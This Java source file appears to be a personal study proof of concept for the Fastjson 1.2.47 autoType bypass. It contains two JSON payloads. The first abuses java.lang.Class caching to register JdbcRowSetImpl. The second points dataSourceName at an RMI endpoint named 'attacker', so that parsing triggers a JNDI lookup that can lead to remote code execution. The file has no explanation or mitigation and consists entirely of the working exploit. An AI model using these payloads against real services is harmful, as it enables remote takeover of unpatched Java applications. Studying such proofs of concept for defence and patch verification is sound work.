package com.hyf.fastjson;

import com.alibaba.fastjson.JSONObject;

/**
 * v1.2.47
 *
 * @author baB_hyf
 * @date 2021/03/28
 */
public class T4 {

    public static void main(String[] args) {

        String str = "{\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"}";
        JSONObject.parse(str);

        String str2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/attacker\",\"autoCommit\":true}";
        parse(str2);
    }

    public static void parse(String str) {
        try {
            JSONObject.parse(str);
        } catch (Exception e) {
            // System.out.println("Exception: " + e.getCause().getCause().getMessage());
        }
    }
}
